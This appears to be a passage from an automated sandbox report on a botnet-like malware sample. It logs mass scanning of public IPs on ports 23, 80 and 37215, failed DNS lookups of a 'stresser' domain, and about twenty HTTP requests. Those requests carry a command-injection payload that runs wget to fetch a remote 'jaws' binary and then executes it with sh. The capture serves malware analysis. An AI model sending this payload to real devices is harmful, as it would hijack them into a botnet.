Dec 3, 2024 21:30:53.543023109 CET	23	49422	117.22.254.102	192.168.2.23
Dec 3, 2024 21:30:53.543098927 CET	49422	23	192.168.2.23	117.22.254.102
Dec 3, 2024 21:30:53.543471098 CET	49688	23	192.168.2.23	117.22.254.102
Dec 3, 2024 21:30:53.571804047 CET	80	44038	223.118.93.51	192.168.2.23
Dec 3, 2024 21:30:53.572380066 CET	80	44452	223.118.93.51	192.168.2.23
Dec 3, 2024 21:30:53.572391033 CET	80	38530	198.186.23.221	192.168.2.23
Dec 3, 2024 21:30:53.572448015 CET	80	38942	198.186.23.221	192.168.2.23
Dec 3, 2024 21:30:53.572453022 CET	44452	80	192.168.2.23	223.118.93.51
Dec 3, 2024 21:30:53.572489977 CET	44452	80	192.168.2.23	223.118.93.51
Dec 3, 2024 21:30:53.572489977 CET	38942	80	192.168.2.23	198.186.23.221
Dec 3, 2024 21:30:53.572534084 CET	38942	80	192.168.2.23	198.186.23.221
Dec 3, 2024 21:30:53.573347092 CET	80	44734	32.198.110.33	192.168.2.23
Dec 3, 2024 21:30:53.573388100 CET	44734	80	192.168.2.23	32.198.110.33
Dec 3, 2024 21:30:53.573788881 CET	80	42496	8.105.165.198	192.168.2.23
Dec 3, 2024 21:30:53.573862076 CET	42496	80	192.168.2.23	8.105.165.198
Dec 3, 2024 21:30:53.574187040 CET	80	54610	93.194.223.82	192.168.2.23
Dec 3, 2024 21:30:53.574228048 CET	54610	80	192.168.2.23	93.194.223.82
Dec 3, 2024 21:30:53.574687958 CET	80	41228	141.173.180.9	192.168.2.23
Dec 3, 2024 21:30:53.574732065 CET	41228	80	192.168.2.23	141.173.180.9
Dec 3, 2024 21:30:53.575284004 CET	80	58606	199.155.1.164	192.168.2.23
Dec 3, 2024 21:30:53.575321913 CET	58606	80	192.168.2.23	199.155.1.164
Dec 3, 2024 21:30:53.575486898 CET	80	40228	62.96.206.43	192.168.2.23
Dec 3, 2024 21:30:53.575516939 CET	40228	80	192.168.2.23	62.96.206.43
Dec 3, 2024 21:30:53.579813957 CET	37215	58256	197.35.188.58	192.168.2.23
Dec 3, 2024 21:30:53.579852104 CET	37215	53874	156.248.22.235	192.168.2.23
Dec 3, 2024 21:30:53.579858065 CET	58256	37215	192.168.2.23	197.35.188.58
Dec 3, 2024 21:30:53.579885006 CET	37215	49930	41.218.18.192	192.168.2.23
Dec 3, 2024 21:30:53.579885960 CET	53874	37215	192.168.2.23	156.248.22.235
Dec 3, 2024 21:30:53.579895020 CET	37215	45114	41.78.79.219	192.168.2.23
Dec 3, 2024 21:30:53.579910994 CET	58256	37215	192.168.2.23	197.35.188.58
Dec 3, 2024 21:30:53.579929113 CET	45114	37215	192.168.2.23	41.78.79.219
Dec 3, 2024 21:30:53.579931974 CET	49930	37215	192.168.2.23	41.218.18.192
Dec 3, 2024 21:30:53.579961061 CET	37215	55122	156.63.118.237	192.168.2.23
Dec 3, 2024 21:30:53.579999924 CET	55122	37215	192.168.2.23	156.63.118.237
Dec 3, 2024 21:30:53.580034018 CET	37215	47738	156.82.100.7	192.168.2.23
Dec 3, 2024 21:30:53.580041885 CET	49930	37215	192.168.2.23	41.218.18.192
Dec 3, 2024 21:30:53.580043077 CET	45114	37215	192.168.2.23	41.78.79.219
Dec 3, 2024 21:30:53.580044031 CET	53874	37215	192.168.2.23	156.248.22.235
Dec 3, 2024 21:30:53.580045938 CET	55122	37215	192.168.2.23	156.63.118.237
Dec 3, 2024 21:30:53.580053091 CET	37215	35550	197.108.27.186	192.168.2.23
Dec 3, 2024 21:30:53.580065966 CET	37215	56122	41.97.116.95	192.168.2.23
Dec 3, 2024 21:30:53.580100060 CET	37215	55200	197.20.1.232	192.168.2.23
Dec 3, 2024 21:30:53.580102921 CET	47738	37215	192.168.2.23	156.82.100.7
Dec 3, 2024 21:30:53.580116034 CET	56122	37215	192.168.2.23	41.97.116.95
Dec 3, 2024 21:30:53.580116034 CET	47738	37215	192.168.2.23	156.82.100.7
Dec 3, 2024 21:30:53.580116034 CET	56122	37215	192.168.2.23	41.97.116.95
Dec 3, 2024 21:30:53.580116034 CET	35550	37215	192.168.2.23	197.108.27.186
Dec 3, 2024 21:30:53.580116987 CET	35550	37215	192.168.2.23	197.108.27.186
Dec 3, 2024 21:30:53.580125093 CET	37215	41162	41.100.82.80	192.168.2.23
Dec 3, 2024 21:30:53.580135107 CET	55200	37215	192.168.2.23	197.20.1.232
Dec 3, 2024 21:30:53.580135107 CET	55200	37215	192.168.2.23	197.20.1.232
Dec 3, 2024 21:30:53.580167055 CET	41162	37215	192.168.2.23	41.100.82.80
Dec 3, 2024 21:30:53.580178976 CET	41162	37215	192.168.2.23	41.100.82.80
Dec 3, 2024 21:30:53.580195904 CET	37215	48944	156.254.240.189	192.168.2.23
Dec 3, 2024 21:30:53.580205917 CET	37215	49506	156.180.71.22	192.168.2.23
Dec 3, 2024 21:30:53.580215931 CET	37215	38116	41.41.62.85	192.168.2.23
Dec 3, 2024 21:30:53.580231905 CET	37215	38830	156.124.6.20	192.168.2.23
Dec 3, 2024 21:30:53.580239058 CET	48944	37215	192.168.2.23	156.254.240.189
Dec 3, 2024 21:30:53.580239058 CET	48944	37215	192.168.2.23	156.254.240.189
Dec 3, 2024 21:30:53.580244064 CET	49506	37215	192.168.2.23	156.180.71.22
Dec 3, 2024 21:30:53.580246925 CET	37215	47444	156.145.198.116	192.168.2.23
Dec 3, 2024 21:30:53.580254078 CET	38116	37215	192.168.2.23	41.41.62.85
Dec 3, 2024 21:30:53.580257893 CET	37215	35788	156.190.237.45	192.168.2.23
Dec 3, 2024 21:30:53.580260992 CET	49506	37215	192.168.2.23	156.180.71.22
Dec 3, 2024 21:30:53.580266953 CET	38830	37215	192.168.2.23	156.124.6.20
Dec 3, 2024 21:30:53.580269098 CET	38116	37215	192.168.2.23	41.41.62.85
Dec 3, 2024 21:30:53.580275059 CET	47444	37215	192.168.2.23	156.145.198.116
Dec 3, 2024 21:30:53.580291033 CET	35788	37215	192.168.2.23	156.190.237.45
Dec 3, 2024 21:30:53.580310106 CET	35788	37215	192.168.2.23	156.190.237.45
Dec 3, 2024 21:30:53.580310106 CET	47444	37215	192.168.2.23	156.145.198.116
Dec 3, 2024 21:30:53.580322027 CET	38830	37215	192.168.2.23	156.124.6.20
Dec 3, 2024 21:30:53.580465078 CET	37215	53224	197.101.2.157	192.168.2.23
Dec 3, 2024 21:30:53.580476046 CET	37215	33718	41.132.216.164	192.168.2.23
Dec 3, 2024 21:30:53.580486059 CET	37215	38716	156.6.99.220	192.168.2.23
Dec 3, 2024 21:30:53.580491066 CET	37215	35542	197.142.116.145	192.168.2.23
Dec 3, 2024 21:30:53.580498934 CET	37215	60396	197.54.174.254	192.168.2.23
Dec 3, 2024 21:30:53.580507994 CET	37215	40660	197.2.94.37	192.168.2.23
Dec 3, 2024 21:30:53.580516100 CET	33718	37215	192.168.2.23	41.132.216.164
Dec 3, 2024 21:30:53.580517054 CET	37215	53934	41.242.244.42	192.168.2.23
Dec 3, 2024 21:30:53.580518007 CET	53224	37215	192.168.2.23	197.101.2.157
Dec 3, 2024 21:30:53.580518007 CET	38716	37215	192.168.2.23	156.6.99.220
Dec 3, 2024 21:30:53.580522060 CET	35542	37215	192.168.2.23	197.142.116.145
Dec 3, 2024 21:30:53.580528021 CET	37215	59270	156.209.214.149	192.168.2.23
Dec 3, 2024 21:30:53.580533028 CET	40660	37215	192.168.2.23	197.2.94.37
Dec 3, 2024 21:30:53.580534935 CET	60396	37215	192.168.2.23	197.54.174.254
Dec 3, 2024 21:30:53.580538034 CET	37215	36702	156.144.159.185	192.168.2.23
Dec 3, 2024 21:30:53.580549002 CET	53224	37215	192.168.2.23	197.101.2.157
Dec 3, 2024 21:30:53.580549002 CET	37215	52658	197.156.1.181	192.168.2.23
Dec 3, 2024 21:30:53.580554962 CET	53934	37215	192.168.2.23	41.242.244.42
Dec 3, 2024 21:30:53.580559969 CET	37215	49972	197.4.155.165	192.168.2.23
Dec 3, 2024 21:30:53.580566883 CET	59270	37215	192.168.2.23	156.209.214.149
Dec 3, 2024 21:30:53.580569029 CET	36702	37215	192.168.2.23	156.144.159.185
Dec 3, 2024 21:30:53.580569029 CET	37215	60612	156.178.53.95	192.168.2.23
Dec 3, 2024 21:30:53.580574989 CET	33718	37215	192.168.2.23	41.132.216.164
Dec 3, 2024 21:30:53.580584049 CET	49972	37215	192.168.2.23	197.4.155.165
Dec 3, 2024 21:30:53.580585957 CET	52658	37215	192.168.2.23	197.156.1.181
Dec 3, 2024 21:30:53.580596924 CET	53934	37215	192.168.2.23	41.242.244.42
Dec 3, 2024 21:30:53.580607891 CET	60612	37215	192.168.2.23	156.178.53.95
Dec 3, 2024 21:30:53.580634117 CET	38716	37215	192.168.2.23	156.6.99.220
Dec 3, 2024 21:30:53.580636978 CET	60396	37215	192.168.2.23	197.54.174.254
Dec 3, 2024 21:30:53.580641031 CET	40660	37215	192.168.2.23	197.2.94.37
Dec 3, 2024 21:30:53.580641031 CET	35542	37215	192.168.2.23	197.142.116.145
Dec 3, 2024 21:30:53.580666065 CET	59270	37215	192.168.2.23	156.209.214.149
Dec 3, 2024 21:30:53.580689907 CET	52658	37215	192.168.2.23	197.156.1.181
Dec 3, 2024 21:30:53.580689907 CET	52658	37215	192.168.2.23	197.156.1.181
Dec 3, 2024 21:30:53.580997944 CET	52844	37215	192.168.2.23	197.156.1.181
Dec 3, 2024 21:30:53.581293106 CET	36702	37215	192.168.2.23	156.144.159.185
Dec 3, 2024 21:30:53.581293106 CET	36702	37215	192.168.2.23	156.144.159.185
Dec 3, 2024 21:30:53.581506014 CET	36888	37215	192.168.2.23	156.144.159.185
Dec 3, 2024 21:30:53.581808090 CET	60612	37215	192.168.2.23	156.178.53.95
Dec 3, 2024 21:30:53.581808090 CET	60612	37215	192.168.2.23	156.178.53.95
Dec 3, 2024 21:30:53.582042933 CET	60808	37215	192.168.2.23	156.178.53.95
Dec 3, 2024 21:30:53.582344055 CET	49972	37215	192.168.2.23	197.4.155.165
Dec 3, 2024 21:30:53.582344055 CET	49972	37215	192.168.2.23	197.4.155.165
Dec 3, 2024 21:30:53.582564116 CET	50168	37215	192.168.2.23	197.4.155.165
Dec 3, 2024 21:30:53.604676962 CET	80	56386	116.150.62.104	192.168.2.23
Dec 3, 2024 21:30:53.604768991 CET	80	40078	150.63.45.186	192.168.2.23
Dec 3, 2024 21:30:53.604890108 CET	80	40078	150.63.45.186	192.168.2.23
Dec 3, 2024 21:30:53.604942083 CET	80	56386	116.150.62.104	192.168.2.23
Dec 3, 2024 21:30:53.604952097 CET	40078	80	192.168.2.23	150.63.45.186
Dec 3, 2024 21:30:53.604981899 CET	56386	80	192.168.2.23	116.150.62.104
Dec 3, 2024 21:30:53.605369091 CET	80	37706	61.41.15.72	192.168.2.23
Dec 3, 2024 21:30:53.605416059 CET	37706	80	192.168.2.23	61.41.15.72
Dec 3, 2024 21:30:53.606266975 CET	80	58770	71.187.196.149	192.168.2.23
Dec 3, 2024 21:30:53.606312037 CET	58770	80	192.168.2.23	71.187.196.149
Dec 3, 2024 21:30:53.606976986 CET	80	34842	147.179.254.202	192.168.2.23
Dec 3, 2024 21:30:53.607021093 CET	34842	80	192.168.2.23	147.179.254.202
Dec 3, 2024 21:30:53.607456923 CET	80	49444	172.153.131.92	192.168.2.23
Dec 3, 2024 21:30:53.607490063 CET	49444	80	192.168.2.23	172.153.131.92
Dec 3, 2024 21:30:53.607800007 CET	80	32904	143.141.87.96	192.168.2.23

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 3, 2024 21:30:43.104161024 CET	192.168.2.23	8.8.8.8	0xa8b4	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:30:43.451400042 CET	192.168.2.23	8.8.8.8	0xa8b4	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:30:43.847048044 CET	192.168.2.23	8.8.8.8	0xa8b4	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:30:44.243501902 CET	192.168.2.23	8.8.8.8	0xa8b4	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:30:44.638250113 CET	192.168.2.23	8.8.8.8	0xa8b4	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:31:15.312489986 CET	192.168.2.23	8.8.8.8	0xc0ca	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:31:15.563827991 CET	192.168.2.23	8.8.8.8	0xc0ca	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:31:16.041640043 CET	192.168.2.23	8.8.8.8	0xc0ca	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:31:16.518625975 CET	192.168.2.23	8.8.8.8	0xc0ca	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:31:16.996223927 CET	192.168.2.23	8.8.8.8	0xc0ca	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:31:40.545804977 CET	192.168.2.23	8.8.8.8	0x1dea	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:31:41.022504091 CET	192.168.2.23	8.8.8.8	0x1dea	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:31:41.495122910 CET	192.168.2.23	8.8.8.8	0x1dea	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:31:41.967092991 CET	192.168.2.23	8.8.8.8	0x1dea	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:31:42.220825911 CET	192.168.2.23	8.8.8.8	0x1dea	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:32:05.688647032 CET	192.168.2.23	8.8.8.8	0x4dc4	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:32:05.938110113 CET	192.168.2.23	8.8.8.8	0x4dc4	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:32:10.941175938 CET	192.168.2.23	8.8.8.8	0x4dc4	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:32:11.191145897 CET	192.168.2.23	8.8.8.8	0x4dc4	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:32:11.441615105 CET	192.168.2.23	8.8.8.8	0x4dc4	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:32:34.975169897 CET	192.168.2.23	8.8.8.8	0x446a	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:32:35.229312897 CET	192.168.2.23	8.8.8.8	0x446a	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:32:35.709204912 CET	192.168.2.23	8.8.8.8	0x446a	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:32:36.102982998 CET	192.168.2.23	8.8.8.8	0x446a	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:32:36.497092009 CET	192.168.2.23	8.8.8.8	0x446a	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 3, 2024 21:30:43.449907064 CET	8.8.8.8	192.168.2.23	0xa8b4	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:30:43.841294050 CET	8.8.8.8	192.168.2.23	0xa8b4	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:30:44.242158890 CET	8.8.8.8	192.168.2.23	0xa8b4	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:30:44.636755943 CET	8.8.8.8	192.168.2.23	0xa8b4	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:30:45.111839056 CET	8.8.8.8	192.168.2.23	0xa8b4	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:31:15.562989950 CET	8.8.8.8	192.168.2.23	0xc0ca	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:31:16.040716887 CET	8.8.8.8	192.168.2.23	0xc0ca	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:31:16.517678022 CET	8.8.8.8	192.168.2.23	0xc0ca	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:31:16.995068073 CET	8.8.8.8	192.168.2.23	0xc0ca	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:31:17.474201918 CET	8.8.8.8	192.168.2.23	0xc0ca	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:31:41.021591902 CET	8.8.8.8	192.168.2.23	0x1dea	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:31:41.494256020 CET	8.8.8.8	192.168.2.23	0x1dea	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:31:41.966207027 CET	8.8.8.8	192.168.2.23	0x1dea	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:31:42.219965935 CET	8.8.8.8	192.168.2.23	0x1dea	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:31:42.612293005 CET	8.8.8.8	192.168.2.23	0x1dea	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:32:05.937263966 CET	8.8.8.8	192.168.2.23	0x4dc4	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:32:11.190073013 CET	8.8.8.8	192.168.2.23	0x4dc4	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:32:11.440310001 CET	8.8.8.8	192.168.2.23	0x4dc4	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:32:11.699373960 CET	8.8.8.8	192.168.2.23	0x4dc4	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:32:35.228315115 CET	8.8.8.8	192.168.2.23	0x446a	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:32:35.708251953 CET	8.8.8.8	192.168.2.23	0x446a	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:32:36.101737976 CET	8.8.8.8	192.168.2.23	0x446a	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:32:36.495973110 CET	8.8.8.8	192.168.2.23	0x446a	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:32:36.893579960 CET	8.8.8.8	192.168.2.23	0x446a	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.23	44184	204.107.80.7	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:47.332036018 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.23	44740	202.42.96.98	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:47.333020926 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.23	45660	197.193.109.69	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:47.333748102 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.23	59584	146.130.90.64	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:47.334525108 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.23	56878	27.172.93.161	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:47.335258007 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.23	60466	51.194.102.135	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:47.336061954 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.23	36806	67.64.187.21	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:47.336854935 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.23	42942	73.108.231.65	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:47.373311043 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.23	43660	18.211.7.205	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:47.374283075 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.23	45656	181.236.160.87	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:47.375134945 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.23	45142	64.213.12.242	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:47.375926018 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.23	57204	67.165.85.6	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:47.376703024 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.23	40332	57.80.127.128	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:47.377530098 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.23	35336	181.179.122.117	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:47.379466057 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.23	33108	58.115.115.241	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:47.392112017 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.23	47310	183.236.75.193	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:47.399575949 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.23	41132	197.253.59.50	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:47.427623987 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.23	53818	186.140.24.86	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:47.428631067 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.23	59056	187.240.42.70	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:47.434600115 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.23	49646	162.82.86.148	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:30:47.441795111 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.23	60518	173.191.101.175	80

Timestamp	Bytes transferred	Direction	Data
